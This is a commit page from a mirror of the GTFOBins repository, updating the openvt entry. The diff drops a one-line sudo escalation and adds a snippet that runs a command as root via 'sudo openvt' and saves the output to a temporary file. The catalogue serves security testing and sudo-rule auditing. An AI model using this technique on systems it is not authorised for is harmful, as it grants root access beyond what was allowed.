mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
Fix openvt
This commit is contained in:
parent
4347f58f55
commit
717acf4b14
@ -1,7 +1,10 @@
|
||||
---
|
||||
functions:
|
||||
sudo:
|
||||
- description: If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
|
||||
- description: The command execution is blind (displayed on the virtual console), but it is possible to save the output on a temporary file.
|
||||
code: |
|
||||
sudo openvt -vsu bash
|
||||
COMMAND=id
|
||||
TF=$(mktemp -u)
|
||||
sudo openvt -- sh -c "$COMMAND >$TF 2>&1"
|
||||
cat $TF
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user